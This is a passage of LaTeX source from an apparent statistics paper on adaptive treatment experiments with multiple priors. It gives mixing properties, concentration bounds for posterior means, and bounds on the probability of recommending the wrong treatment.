(i) There exists a $\upsilon < \infty$ such that for any $\lambda >0$ and any $d \in \mathbb{D}$, $E[e^{ \lambda (Y(d) - \theta(d))} ] \leq e^{ \upsilon \sigma(d)^{2} \lambda^{2}}$ where $\sigma(d)^{2} : = Var(Y(d))$; (ii) $Y(d)$ admits a PDF, denoted as $f_{d}$ that has full-support.
\end{assumption}
Part (i) of this assumption imposes that $Y(d)$ is sub-gaussian, which loosely speaking, ensures that the probability $Y(d)$ takes large values decays at the same rate as the Normal does. Sub-gaussianity plays two roles in our results. First, it ensures that some higher moments, like the variance, exist. Second, and more importantly, it is used to derive how fast the average outcome concentrates around certain population quantities (see Lemma \ref{lem:concentration.avgt} in the Appendix \ref{app:concentration.alpha.zeta}). We could relax this assumption, but at the cost of getting slower concentration rates; see Remark \ref{rem:sub-gaussian} in the Appendix \ref{app:concentration.alpha.zeta} for more details. Part (ii) of the assumption is necessary for characterizing the properties of the stochastic process for the experiment's data.
We now begin by presenting a key proposition that characterizes the dependence structure of the experiment's data.
\subsection{Properties of the Stochastic Process for Outcomes and Treatment Assignments}\label{sec:stoch}
To derive finite sample results for our model, we need to first understand how the treatment assignments, $(D_{t})_{t=1}^{T}$, and the realized outcomes, $(Y_{t}(D_{t}))_{t=1}^{T}$, evolve over time. In a standard randomized control trial setting, it is straightforward to characterize these processes: $(D_{t})_{t=1}^{T}$ are IID random variables by construction, which implies the same for the realized outcomes $(Y_{t}(D_{t}))_{t=1}^{T}$. This is not the case in our setup. Because our policy functions depend on the PM's beliefs, and hence on all past observed history, $(D_{t})_{t=1}^{T}$ are no longer IID random variables. This complicates matters because we cannot establish our results by simply applying the law of large numbers, the central limit theorem, or other exponential inequalities for IID random variables. Thus to overcome this challenge, we first determine the properties of the stochastic process $(\zeta_{t},\nu_{t},\alpha_{t})_{t=1}^{T}$, where, recall, $\zeta_{t} : = (\zeta^{o}_{t})_{o=0}^{L}$ (the other variables are defined analogously). We then extrapolate these properties to $(D_{t})_{t=1}^{T}$ and $(Y_{t}(D_{t}))_{t=1}^{T}$ to derive the necessary exponential inequalities.
The stochastic process $(\zeta_{t},\nu_{t},\alpha_{t})_{t=1}^{T}$ has two important properties. First, as we show in Lemmas \ref{lem:characterization.models} and \ref{lem:characterization.alpha} in Appendix \ref{app:mixing}, we only need to study the process for $o=0$, i.e., $(\zeta^{0}_{t},\nu^{0}_{t})_{t}$, because for any $o \in \{0,...,L\}$ and any $t$, $(\zeta^{o}_{t},\nu^{o}_{t},\alpha^{o}_{t})$ can be written as a function of $(\zeta^{0}_{t},\nu^{0}_{t})$ and the priors $(\zeta_{0},\nu_{0})$, which are taken to be non-random. Second, under the policy rule $\delta$ described above, we show that $(\zeta^{0}_{t},\nu^{0}_{t})_{t}$ is a (non-stationary) Markov chain with transition probability function implied by expressions \ref{eqn:zeta.o}-\ref{eqn:nu.o}, and $(\zeta_{0},\nu_{0}) \sim \pi$ where $\pi$ is assumed to be degenerated; i.e., the priors are taken to be non-ranom.\footnote{More generally, $\pi$ can be non-degenerate as long as it satifies $\int ||\zeta_{0} ||^{2} \pi(d \zeta_{0}) < \infty$.} Based on this insight, we use known results from Markov Chains (see \cite{Douc:2018} for a review) to understand the dependence structure of $(\zeta^{0}_{t},\nu^{0}_{t})_{t}$ and consequently that of $(D_{t},Y_{t}(D_{t}))_{t}$. We summarize this in the following proposition:
\begin{proposition}\label{pro:Z.mixing}
The process $(\zeta_{t},\nu_{t},D_{t},Y_{t}(D_{t}))_{t}$ is $\beta$-mixing with mixing coefficients, $(\beta(k))_{k}$ such $\beta_{k} = O( e^{ - 0.5 k \varrho(\epsilon) } )$ for all $k \geq 1$ where $\epsilon \mapsto \varrho(\epsilon)$ is positive valued, $\varrho(0) = 0$ and increasing on $\epsilon$. \footnote{The formal definition for $\varrho$ is relegated to Lemma \ref{lem:Q.GeoErgodic} in Appendix \ref{app:ergodicity}.}
\end{proposition}
\begin{proof}
See Appendix \ref{app:mixing} .
\end{proof}
This proposition establishes that even though the process $(D_{t},Y_{t}(D_{t}))_{t}$ is not IID, its dependence ``dies off'' at an exponentially fast rate governed by the parameter $\epsilon$. The intuition behind the role of $\epsilon$ is that, under Assumption \ref{ass:PF.epsilon}, the policy function $\delta$ can be thought of as follows: With probability $(M+1)\epsilon$, the treatment is chosen at random, and with probability $1-(M+1)\epsilon$, the treatment is chosen according to a function that depends on $(\zeta_{t},\nu_{t})$ and $\alpha_{t}$. In effect, $\epsilon$ captures the probability that the Markov Chain for $(\zeta_{t},\nu_{t})_{t}$ ``forgets the past''. The larger the $\epsilon$, the more likely the Markov Chain will ``forget the past'', and the faster the dependence vanishes.
The proof of this proposition is (to our knowledge) novel, requiring different known results from Markov Chain theory and Mixing properties for non-stationary Markov Chains. In particular, we first show that the Markov Chain is Geometric Ergodic --- i.e., for any initial condition, the $t$-step transition probability gets close (at a geometric rate) to the invariant probability (see Appendix \ref{app:properties.Q} for a formal definition). Since $(\zeta_{t},\nu_{t})_{t}$ are not discrete random variables and the state space is unbounded, establishing Geometric Ergodicity requires showing that there exists subsets of the state space that once the Markov chain visits them it ``forgets the past''; these are called ``small'' sets and their existence is established in Lemma \ref{lem:small} in the Appendix \ref{app:properties.Q}; Assumption \ref{ass:sub-gauss}(ii) is used to achieve this result. In addition, we show that the Markov Chain tends to drift towards such sets --- this is proved in Lemma \ref{lem:Q.drift} in the Appendix \ref{app:properties.Q}. Geometric Ergodicity then follows by invoking the results by \cite{Roberts:2004} and it is proven in Lemma \ref{lem:Q.GeoErgodic} in the Appendix \ref{app:properties.Q}. Given this result, we invoke the results by \cite{liebscher:2005} for non-stationary Markov Chains to show that $(\zeta_{t},\nu_{t},D_{t},Y_{t}(D_{t})) $ becomes independent of the past as $t$ diverges; formally, we show that the process $(\zeta_{t},\nu_{t},D_{t},Y_{t}(D_{t}))_{t} $ is $\beta$-mixing with exponential rate of decay.\footnote{An stochastic process $(W_{t})_{t=1}^{\infty}$ jointly distributed according to $P$ is $\beta$-mixing if $\lim_{k \rightarrow \infty} \beta_{k} : = \lim_{k \rightarrow \infty} \sup_{t} || P_{t:-\infty} \cdot P_{\infty: t+k} - P_{\infty: t+k,t:-\infty} ||_{TV} = 0$, where $P_{a:b,c:d}$ denotes the probability of $(Z_{d},...,Z_{c},Z_{b},...,Z_{a})$ and $\cdot$ denotes the product of two probabilities.}
\subsection{Finite Sample Results}\label{sec:finite}
Given Proposition \ref{pro:Z.mixing}, we can now derive concentration bounds for the posterior mean, characterize the probability of making a mistake, and place bounds on the average outcomes. We also show how these quantities are affected by the initial priors of the model, $(\zeta^{o}_{0},\nu^{o}_{0})$, and the $\epsilon$ parameter of the policy function.
Before presenting these results formally, it is useful to present our general approach for how we derived them. As we discussed in the previous section, a key of object of interest is $\zeta^{\alpha}_{t} = \sum_{o=0}^{M} \alpha^{o}_{t} \zeta^{o} _{t}$, the subjective average effect of treatment at instance $t$. Most of our results hinge on understanding how this object concentrates around the true expected value $\theta$. For each treatment $d$, the randomness of $\zeta^{\alpha}_{t}(d)$ comes from two quantities: the frequency of play, $f_{t}(d) = t^{-1} \sum_{s=1}^{t} 1\{D_{s} =d \} $ and the treatment-outcome average, defined as $$J_{t}(d) := t^{-1} \sum_{s=1}^{t} 1\{D_{s} =d \} Y_{s}(d).$$ Thus, to derive the concentration rate of $\zeta^{\alpha}_{t}(d)$, we first need to understand how $f_{t}(d)$ and $J_{t}(d)$ concentrate. This is where Proposition \ref{pro:Z.mixing} comes in. From this proposition and using exponential inequalities for dependent processes (e.g. \cite{Merlevede:2009}), we can determine how fast the frequency of play, $f_{t}(d)$, concentrates around the average propensity score at time $t$, $e_{t}(d) : = t^{-1} \sum_{s=1}^{t} P_{\pi}(D_{s} = d)$ and how fast the average treatment-outcome for each treatment, $J_{t}(d)$, concentrates around $f_{t}(d) \theta(d)$. These concentration bounds are presented in Lemmas \ref{lem:concentration.freq} and \ref{lem:concentration.avgt} in the Appendix \ref{app:concentration.bounds}.
The next important step is to understand how the concentration rates of $f_{t}(d)$ and $J_{t}(d)$ translate into the concentration rate of $\zeta^{\alpha}_{t}(d)$ and how the parameters of the model affect this rate. In particular, take any $\gamma>0$ and suppose $J_{t}(d)$ and $f_{t}(d)$ are within $\gamma$ of $f_{t}(d) \theta(d) $ and $e_{t}(d)$ respectively. We would like to know how the concentration rate of these quantities --- given by $\gamma$ --- translates into the concentration rate of $\zeta^{\alpha}_{t}(d)-\theta(d)$. To answer this question, we rely on Lemma \ref{lem:UpperBound.zetabar.alpha} in the Appendix \ref{app:zeta.concentration} to show that
\begin{align*}
| \zeta^{\alpha}_{t}(d) - \theta(d) | \leq \Gamma( \gamma, |\zeta_{0}(d) - \theta(d) | , \nu_{0}(d) , e_{t}(d) )
\end{align*}
where $\Gamma : \mathbb{R} \times \mathbb{R}^{L+1} \times \mathbb{N}^{L+1} \times [0,1] \rightarrow \mathbb{R}$, defined in Appendix \ref{app:zeta.concentration}. Moreover, Lemma \ref{lem:UpperBound.zetabar.alpha} in the Appendix \ref{app:zeta.concentration} shows that $\Gamma$ is non-decreasing as a function of $\gamma$.
Finally, the results below make use of the functions $\epsilon \mapsto \mathbf{C}(\epsilon)$ and $\epsilon \mapsto \mathbf{B}(\epsilon)$ that are defined in Appendix \ref{app:concentration.alpha.zeta}. Here, we just point out that $\mathbf{C}$ is non-decreasing.
\subsubsection{ Concentration bounds on the Posterior Mean }
\label{sec:zeta.concentration}
The next proposition establishes the rate at which the posterior mean concentrates around the true expected outcome.
\begin{proposition}\label{pro:concentration.alpha.zeta}
For any $d \in \{0,...,M\}$, any $t \in \mathbb{N}$ and any $\varepsilon \geq 0$ such that $t \geq e^{ \max\{ 4 \sqrt{ \frac{\varepsilon } { \mathbf{C}(\epsilon) }} \mathbf{B}(\epsilon) , 2 \upsilon \sigma(d)^{2} \} } $ and $ \frac{\varepsilon }{ e_{t}(d)^{2} \mathbf{C}(\epsilon) } \leq \frac{t}{\log t} $,\footnote{The on $t$ restrictions stem from Lemmas \ref{lem:concentration.freq} and \ref{lem:concentration.avgt}; a detailed explanation can be found in their proofs. However, it is clear that there always exists a $t$ large enough that all the restrictions are satisfied.}
\begin{align*}
P_{\pi} \left( | \zeta^{\alpha} _{t}(d) - \theta(d) | > \Gamma \left( \sqrt{ \frac{ \log t } {t} } \sqrt{ \frac {\varepsilon} { \mathbf{C}(\epsilon)} } , |\zeta_{0}(d) - \theta(d)| , \nu_{0}(d) , e_{t}(d) \right) \right) \leq 3 e^{ - \varepsilon }.
\end{align*}
Moreover, the concentration rate is non-increasing on $\epsilon$.
\end{proposition}
\begin{proof}
See Appendix \ref{app:concentration.alpha.zeta}.
\end{proof}
The intuition of the proof is as follows. As discussed above, the randomness of $\zeta^{\alpha} _{t}(d)$ comes from $J_{t}(d)$ and $f_{t}(d)$. By using concentration bound for mixing processes (e.g. \cite{Merlevede:2009}), Lemmas \ref{lem:concentration.freq} and \ref{lem:concentration.avgt} in Appendix \ref{app:zeta.concentration} show that for any $\varepsilon \geq 0$, $J_{t}(d)$ and $f_{t}(d)$ are within $\sqrt{ \frac{ \log t } {t} } \sqrt{ \frac {\varepsilon} { \mathbf{C}(\epsilon)} } $ of their population analogues with probability higher than $1-3 e^ {- \varepsilon } $. These concentration rates, however, get distorted by $\Gamma$ because the posterior mean is a non-linear transformation of $J_{t}(d)$ and $f_{t}(d)$. By inspection, it is easy to see that $ \Gamma = O \left( \sqrt{ \frac{ \log t } {t} } + t^{-1} \right)$, so the concentration rate is of order $\sqrt{ \log t/ t }$ where the additional factor of ``$\log t$" arises from the lack of IID-ness in the data. Moreover, it is non-increasing on $\epsilon$, thereby illustrating the fact that higher levels of experimentation --- represented by a higher $\epsilon$ --- yield a faster order for the concentration rate.
Our method for aggregating multiple priors offers an attractive feature with regards to our concentration rates. Sufficiently stubborn models, i.e. $|\zeta^{o}_{0}(d) - \theta(d) | \sqrt{\nu^{o}_{0}(d)}$ is sufficiently large, will have close to zero effect on the concentration rate of $ \zeta^{\alpha}_{t}(d)$, as they are essentially dropped from the weighted average. This implies an \emph{oracle} property in the sense that the concentration rate becomes arbitrary close to the least stubborn model, provided there is enough separation between the stubbornness of this model and the others. We formalize this property in the next corollary.
\begin{corollary}\label{cor:OracleRobust}
Take any $(t,d,\varepsilon)$ as in Proposition \ref{pro:concentration.alpha.zeta} and suppose all its assumptions hold. Furthermore, let model $o=0$ denote the least stubborn model and suppose that for any given $\delta>0$,
there exists a $C$ such that $\nu^{o}_{0}(d)|\zeta_{0}^{o}(d) - \theta(d)| \geq C$ for all $o \ne 0$. Then,
\begin{align*}
P_{\pi} \left( | \zeta^{\alpha} _{t}(d) - \theta(d) | > \Omega \left( \sqrt{ \frac{ \log t } {t} } \sqrt{ \frac {\varepsilon} { \mathbf{C}(\epsilon)} } , |\zeta^{o}_{0}(d) -\theta(d)| , \nu^{o} _{0}(d) /t , e_{t}(d) \right) + \delta \right) \leq 3 e^{ - \varepsilon }
\end{align*}
\end{corollary}
\begin{proof}
See Appendix \ref{app:concentration.alpha.zeta}.
\end{proof}
The function $\Omega$, which is formally defined in Appendix \ref{app:concentration.alpha.zeta}, acts as $\Gamma$ but for one model; i.e., for any $o \in \{0,...L\}$ and any $\gamma \geq 0$, assuming $J_{t}(d)$ and $f_{t}(d)$ are within $\gamma$ of their population analogues,
\begin{align*}
| \zeta^{o} _{t}(d) - \theta(d) | \leq \Omega(\gamma, |\zeta^{o}_{0}(d) - \theta(d)| , \nu^{o} _{0}(d)/t , e_{t}(d) ).
\end{align*}
Thus, $\Omega$, quantifies the effects on concentration rates of the model's the priors and the expected frequency of play. We summarize its implications for the rate in the following remark and illustrate them numerically in Section \ref{sec:simulations}.
\begin{remark}[Properties of the Concentration Rate]\label{remark:cb}
\
\begin{enumerate}
\item All else equal, the concentration rate decreases as the bias increases; it also decreases with the degree of stubbornness, i.e. $|\zeta^{o}_{0}(d) - \theta(d) | \sqrt{ \nu^{o}_{0}(d) }$. The concentrate rate is fastest when the bias is zero.
\item For confident models, the concentration rate increases with the degree of conviction, i.e. $\nu^{o}_{0}(d)$ increases. The intuition behind this result is as follows: If $\nu^{o}_{0}(d)$ increases but $|\zeta^{o}_{0}(d) - \theta(d) | \sqrt{ \nu^{o}_{0}(d) }$ remains constant --- equal to 0, in particular ---, then necessarily, the model is becoming more convinced about a prior that is unbiased, thereby implying a faster convergence rate.
\item The effects of the degree of stubbornness and conviction on the concentration rate decreases as $t$ increases.
\item An increase of the frequency of play, $e_{t}(d)$, improves the concentration rate. This comes from the fact that $e_{t}(d) \mapsto \Omega \left( \sqrt{ \frac{ \log t } {t} } \sqrt{ \frac {\varepsilon} { \mathbf{C}(\epsilon)} } , |\zeta^{o}_{0}(d) - \theta(d)| , \nu^{o}_{0}(d)/t , e_{t}(d) \right) $ is decreasing. Intuitively, increasing $e_{t}(d)$ implies having more observations to estimate $\theta(d)$ --- ``more information'' about treatment $d$ implies a faster concentration rate.
\item As $\mathbf{C}$ is non-decreasing and $\Omega$ is increasing in the first argument, the concentration rate becomes faster with $\epsilon$. Loosely speaking, from Proposition \ref{pro:Z.mixing} it follows that the dependence between current and past realizations of $(Y_{t}(D_{t}),D_{t}) $ decreases as $\epsilon$ increases. Thus, the higher the $\epsilon$, the more informative each realization becomes, thereby implying a higher concentration rate. It is, however, important to highlight that a change in the $\epsilon$ will also affect $e_{t}(d)$. Thus, in practice, the total effect on the concentration rate can be ambiguous.
\end{enumerate}
$\triangle$
\end{remark}
\subsubsection{ Probability of making a mistake}
\label{sec:PoM}
In this section, we provide bounds on the probability of making a mistake when following the stopping rule proposed in Example \ref{exa:StoppingRule}. Suppose treatment $M$ has the largest expected effect, i.e., $\Delta: = \theta(M) - \max_{d \ne M} \theta(d) > 0 $. We define a mistake as recommending a treatment arm different than $M$ at the instance $t$ in which the experiment was stopped. Because recommendations are based on the PM's posteriors, we can express a mistake as
\begin{equation*}
\max_{d \ne M} \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) > 0,
\end{equation*}
where $\tau$ indicates when the experiment is stopped, i.e., is the first instance after $B$ such that $ \max_{d} \min_{m \ne d} \{ \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(m) - c_{t}(\gamma_{t},d,m) \} > 0$ where the cutoffs $c_{t}$ are defined in Example \ref{exa:StoppingRule}.
The following proposition provides an upper bound for the probability of making a mistake associated with this stopping rule.
\begin{proposition}\label{pro:stopping.alpha}
Consider the stopping rule defined in Example \ref{exa:StoppingRule} with parameters $((\gamma_{t})_{t},B)$ such that $\log B \geq \max\{ 2, 4 \epsilon \mathbf{B}(\epsilon) \}$. Then,\footnote{It should be understood that if the RHS is greater than one, then bound will be taken to be one.}
\begin{align}\label{eqn:PoMM.UpperBound}
P_{\pi} \left( \max_{d\ne M} \{ \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) \} > 0 \right) \leq \sum_{d=0}^{M} \sum_{t=B}^{T} \left( 2 e^{ -0.5 t \frac{ (\gamma_{t} )^{2} } { \upsilon \sigma(d)^{2}} } + e^{ - \frac{ t }{\log t} ( \eta^{\ast}_{d}(t,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) }\right)
\end{align}
where $ \eta^{\ast}_{d}(t,\epsilon,\Delta) \in \mathbb{R}_{+} \cup \{+ \infty \}$ is defined in Appendix \ref{app:PoMM} and is non-decreasing in $t$, $\epsilon$, and $\Delta$. If $\zeta_{0}(d) \leq \theta(d)$ and $\zeta_{0}(M) \geq \theta(M)$, then $ \eta^{\ast}_{d}(t,\epsilon,\Delta) = + \infty $ .
\end{proposition}
\begin{proof}
See Appendix \ref{app:PoMM}.
\end{proof}
This proposition shows that the quantity $\eta^{\ast}_{d}(t,\epsilon,\Delta)$ is key for understanding how the primitives of our setup -- i.e. $\epsilon$ and $\Delta$, different priors, etc. -- affect the upper bound for the probability of a mistake. As we prove in Appendix \ref{app:PoMM}, the upper bound for the probability of a mistake decays exponentially with $t$ and is non-increasing in $\epsilon$ and $\Delta$. Intuitively, as $\epsilon$ increases, the data becomes less dependent on the past and thus more informative, resulting in a tighter bound. As $\Delta$ becomes more positive, so does the difference between the PM's posteriors, which also decreases the probability of making a mistake.
This proposition also allows to us to examine whether the upper bound embodies an oracle property similar to the one we demonstrated for the concentration rates. The key to assessing this again lies in understanding the behavior of $\eta^{\ast}$. Given the properties of the weights illustrated in Proposition \ref{pro:alpha.asymptotics.general} and Lemma \ref{lem:ell.properties}, it is easy to show that if the other sources are sufficiently different to the \emph{oracle} source, then $\eta^{\ast}_d$ becomes arbitrary close to $\eta^{oracle}_d$, where $\eta^{oracle}_{d}$ is defined as the largest $\eta$ such that $ \frac{ |\zeta_{0}^{0}(d) - \theta(d)| \nu^{0}_{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \leq 0.5 \Delta$ for each $d \in \mathbb{D}$. It then follows that the bound obtained in Proposition \ref{pro:stopping.alpha} would be arbitrary close to the oracle one; the corollary below formalizes this discussion
\begin{comment}
\begin{remark}[Heuristics of the proof]
We provide the intuition behind the proof for the case where there are two treatments, i.e., $M=1$. We bound the probability of making a mistake by the sum from $B$ to $T$ of the probability of making a mistake \emph{at a particular time $t$}. A mistake is made if either $\zeta^{\alpha}_{t}(0)$ is ``too big" or $\zeta^{\alpha}_{t}(0)$ is ``too small", where big and small is given by $\zeta^{\alpha}_{t}(0) > \theta(0)+ 0.5 \Delta + c_{t}(\gamma_{t},0)$ and $\zeta^{\alpha}_{t}(1) < \theta(1) - 0.5 \Delta - c_{t}(\gamma_{t},1)$, respectively.
In order to bound the probability of $\zeta^{\alpha}_{t}(0) > \theta(0)+ 0.5 \Delta + c_{t}(\gamma_{t},0)$ (the argument for the probability of the other quantity is analogous) we have to control the stochastic quantities wihin $\zeta^{\alpha}_{t}(0)$, the $J_{t}(0)$ and $f_{t}(0)$. Thus, we condition on the set where $J_{t}(d)$ is within $\gamma_{t}$ of the true parameter, $\theta(d)$, and $f_{t}(d)$ is within $\eta>0$ of $e_{t}(d)$. In this case, under Assumption \ref{ass:PF.epsilon}, $\zeta^{\alpha}_{t}(0) - \theta(0) > 0.5 \Delta + c_{t}(\gamma_{t},0)$ is, loosely speaking, equal to $\sum_{o=0}^{L} \alpha^{o}_{t}(0) \frac{(\zeta_{0}^{o}(0) - \theta(0)) \nu^{o}_{0}(0)/t }{ \epsilon - \eta + \nu^{o}_{0}(0)/t } > 0.5 \Delta$.\footnote{In this part, the proof is more involved because $\alpha^{o}_{t}$ is random and we need to provide a non-random upper bound, this step is technical and thus omitted here. }
Thus, in order to control the probability of making a mistake at time t, we need to control the probability of (a) $|J_{t}(0) - \theta(0) | > \gamma_{t} $, (b) $|f_{t}(0) - e_{t}(0)| > \eta $ and (c) $\sum_{o=0}^{L} \alpha^{o}_{t}(0) \frac{(\zeta_{0}^{o}(0) - \theta(0)) \nu^{o}_{0}(0)/t }{ \epsilon - \eta + \nu^{o}_{0}(0)/t } > 0.5 \Delta$. Lemma \ref{lem:concentration.avgt} in Appendix XXX takes care of part (a) and gives rise to the first summand in the RHS of expression \ref{eqn:PoMM.UpperBound}. Lemma \ref{lem:concentration.freq} in the same appendix controls part (b) and gives raise to the second summand in the RHS of that expression. To control part (c), $\eta$ is chosen to be $\eta^{\ast}_{0}(t,\epsilon,\Delta)$, which, essentially, is defined as the largest $\eta$ such that $\sum_{o=0}^{L} \alpha^{o}_{t}(0) \frac{(\zeta_{0}^{o}(0) - \theta(0)) \nu^{o}_{0}(0)/t }{ \epsilon - \eta + \nu^{o}_{0}(0)/t } \leq 0.5 \Delta$.
From this last observation, it follows that if $\zeta_{0}^{o}(0) \leq \theta(0)$ then there are no restrictions on $\eta^{\ast}_{0}$ and thus it can be chosen to "be $+\infty$". Similarly, it could be that some model is ``severely biased" for some (small) $t$ and there is no such $\eta$ that will satisfy the aforementioned inequality; in this case $\eta^{\ast}_{0}$ is set to 0 and we obtain a trivial bound. That said, for ``large enough" $t$, this case will not occur as the effect of priors on $\zeta^{\alpha}_{t}(0)$ will vanish.
Finally, from further studying the behavior of $\sum_{o=0}^{L} \alpha^{o}_{t}(0) \frac{(\zeta_{0}^{o}(0) - \theta(0)) \nu^{o}_{0}(0)/t }{ \epsilon - \eta + \nu^{o}_{0}(0)/t } \leq 0.5 \Delta$, we conclude that $\eta^{\ast}_{d}$ is non-decreasing in $t$, $\epsilon$ and $\Delta$, thereby given raise to an upper bound for the probability of mistake that is exponentially decaying in $t$ and non-increasing in $\epsilon$ and $\Delta$. Intuitively, as $\epsilon$ increases, the data becomes less dependent on the past and thus more informative, which results in a tighter bound, and also as $\Delta$ becomes more positive, so does the difference between $\zeta^{\alpha}_{t}(1)$ and $\zeta^{\alpha}_{t}(0)$, thus decreasing the probability of making a mistake. $\triangle$
\end{remark}
Finally, it's of interest to understand how sensitive the probability of mistake is to different sources. In particular, it is of interest to assess how far this probability of mistake --- or at least, its upper bound --- is from the ``oracle" one, i.e., the one that is obtained by only using the more XXX confident? unbiased? XXX source. As illustrated in the remark above, the key for answering this question is to understand the behavior of $\eta^{\ast}$ that subsumes the role of the priors on the upper bound. Indeed, it is easy to show that if one knew that, say, source $o=0$ is the XXX, then one will only used this source, discard the rest, and obtain an upper bound for the probability of mistake analogous to \ref{eqn:PoMM.UpperBound}, but instead of $\eta^{\ast}_{d}$ one would have $\eta^{oracle}_{d}$ defined as the largest $\eta$ such that $ \frac{ |\zeta_{0}^{0}(d) - \theta(d)| \nu^{0}_{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \leq 0.5 \Delta$ for each $d \in \mathbb{D}$. Thus, in order to assess how far the expression \ref{eqn:PoMM.UpperBound} is from the oracle one, it requires to study how different $\eta^{\ast}$ is from $\eta^{oracle}$. Given the properties of the weights illustrated in Proposition \ref{pro:alpha.asymptotics.general} and Lemma XXX, one would expect that if the other sources are sufficiently different to source $0$, then $\eta^{\ast}$ would be arbitrary close to $\eta^{oracle}$ and thus the bound obtained in Proposition \ref{pro:stopping.alpha} would be arbitrary close to the oracle one; the corollary below formalizes this discussion
\end{comment}
\begin{corollary}\label{cor:robust.PoMM}
Suppose all the conditions of Proposition \ref{pro:stopping.alpha} hold and $B$ is such that $ \frac{ (-1)^{d=M}(\zeta_{0}^{0}(d) - \theta(d) ) \nu_{0}^{0}(d) /B }{ \epsilon + \nu^{0}_{0}(d) /B } \leq 0.5 \Delta$. Then, for any $\varepsilon > 0$, there exists a $M$ such that for all $|\zeta^{-0}_{0}(d) - \theta(d)| \geq M$, it follows that
\begin{align*}
P_{\pi} \left( \max_{d\ne M} \{ \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) \} > 0 \right) \leq (1+\varepsilon) \sum_{d=0}^{M} \sum_{t=B}^{T} ( 2 e^{ -0.5 t \frac{ (\gamma )^{2} } { \upsilon \sigma(d)^{2}} } + e^{ - \frac{ t }{\log t} ( \eta^{oracle}_{d} (t,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) }).
\end{align*}
where $ \eta^{oracle}_{d}(t,\epsilon,\Delta)$ is defined as
\begin{align*}
\max\{ \eta \colon \frac{ | \zeta^{0}_{0}(d) - \theta(d) | \nu_{0}^{o}(d)/t }{ \epsilon - \eta + \nu^{o}_{0}(d)/t } \leq 0.50 \Delta ~and~\eta \leq \epsilon \}
\end{align*}
\end{corollary}
\begin{proof}
See Appendix \ref{app:PoMM}.
\end{proof}
The previous proposition also shows how by choosing $((\gamma_{t})_{t} ,B)$ with some care, the probability of mistake associated with the stopping rule is bounded by $\beta$, where $\beta \in (0,1)$ is any tolerance level. The next corollary presents such result.
\begin{corollary}\label{cor:PoMM.beta}
Suppose all the conditions of Proposition \ref{pro:stopping.alpha} hold, and, for any $t$, $\gamma_{t} \geq \sqrt{ \frac{ \log t } {t} } \sqrt{ A \log t } $ with $(A,B)$ such that
$\log B \geq \max_{d} 2 \upsilon \sigma(d)^{2} $, $\min_{d} \frac{ ( \eta^{\ast}_{d} (1,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) }{A } \geq \frac{ (\log B )^{2}}{ B } $ and
\begin{align}\label{eqn:stopping-0}
\frac{ 3(M+1) }{A-1} ( B^{-(A-1)} - T^{-(A-1)}) \leq \beta.
\end{align}
Then
\begin{align*}
P_{\pi} \left( \max_{d\ne M} \{ \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) \} > 0 \right) \leq \beta.
\end{align*}
\end{corollary}
\begin{proof}
See Appendix \ref{app:PoMM}.
\end{proof}
The choice of $(\gamma_{t})_{t}$ and the extra restrictions in $B$ are to ensure that both terms in the upper bound in Proposition \ref{pro:stopping.alpha} are less than $t^{-A}$. By simple arguments it can be shown that $\sum_{t=B}^{T} t^{-A} \leq \frac{ 1 }{A-1} ( B^{-(A-1)} - T^{-(A-1)})$ and so expression \ref{eqn:stopping-0} ensures the desired result.
The sequence $(\gamma_{t})_{t}$ has to decay, at most, at $\log t/\sqrt{t}$ rate. Compared to the $1/\sqrt{t}$ rate that arises in the canonical difference of means test in statistics, we lose a factor of $\log t$. This stems from two sources: First, our data are not IID and thus the concentration rate of the relevant quantities --- the frequency $(f_{t})_{t}$ in particular --- are of order $\sqrt{ \frac{ \log t } {t} } $ as opposed to $\sqrt{ \frac{ 1 } {t} } $. Second, the extra $\sqrt{ \log t}$ factor acts as an upper bound for population quantities we do not know. If one knew or could estimate these quantities --- the same way one estimates the standard deviations in the difference in means test --- one could lose this extra $\sqrt{ \log t}$ factor.
Finally, we note that the sequence $(\gamma_{t})_{t}$ can decay much slower than $\log t/\sqrt{t}$ --- indeed, it may not decay at all. However, large values of $\gamma$ are undesirable because, the larger the $\gamma$ the less likely it is to stop the experiment at any instance; thus, a larger $\gamma$ will imply longer --- and more costly --- experiments. We therefore recommend to set $\gamma_{t} = O \left( \frac{ \log t } { \sqrt{ t} } \right)$.
\subsubsection{Average Observed Outcomes}
\label{sec:avg.Y}
In this section, we characterize the behavior of the average outcome $t^{-1} \sum_{s=1}^{t} Y_{s}$. It is easy to show that $ t^{-1} \sum_{s=1}^{t} Y_{s}$ will concentrate around a weighted average of $\theta(\cdot)$, with the expected frequency of play as weights\footnote{The formal argument relies on noting that $t^{-1} \sum_{s=1}^{t} Y_{s} - t^{-1} \sum_{s=1}^{t} \sum_{d=0}^{M} \theta(d) 1\{D_{s} = d\} $ is a MDS and $ t^{-1} \sum_{s=1}^{t} \sum_{d=0}^{M} \theta(d) 1\{D_{s} = d\} - \sum_{d=0}^{M} \theta(d) e_{t}(d) $ converges to zero at the concentration rate given by Lemma \ref{lem:concentration.avgt}. }
\begin{equation*}
t^{-1} \sum_{s=1}^{t} \sum_{d=0}^{M} \theta(d) E_{\pi} [ \delta(Z_{s}) (d) ] = \sum_{d=0}^{M} \theta(d) e_{t}(d).
\end{equation*}
But what is difficult to show is how close this quantity is to the maximum expected outcome, $\max_{d} \theta(d)$, when working with arbitrary policy functions. However, for the \emph{$\epsilon$-greedy} policy function defined by Equation \ref{eq:epsilon_greedy}, we can establish the following proposition:
\begin{proposition}\label{pro:avg.Y}
Let $\max_{d} \theta(d)$ to be equal to $\theta(M)$ and suppose $\delta(.)$ is the $\epsilon$-greedy policy function defined in Equation \ref{eq:epsilon_greedy}. Then, for any $\gamma > 0$ and any $t$ sufficiently large,\footnote{``Sufficiently large" is specified in the proof of the proposition.}
\begin{align*}
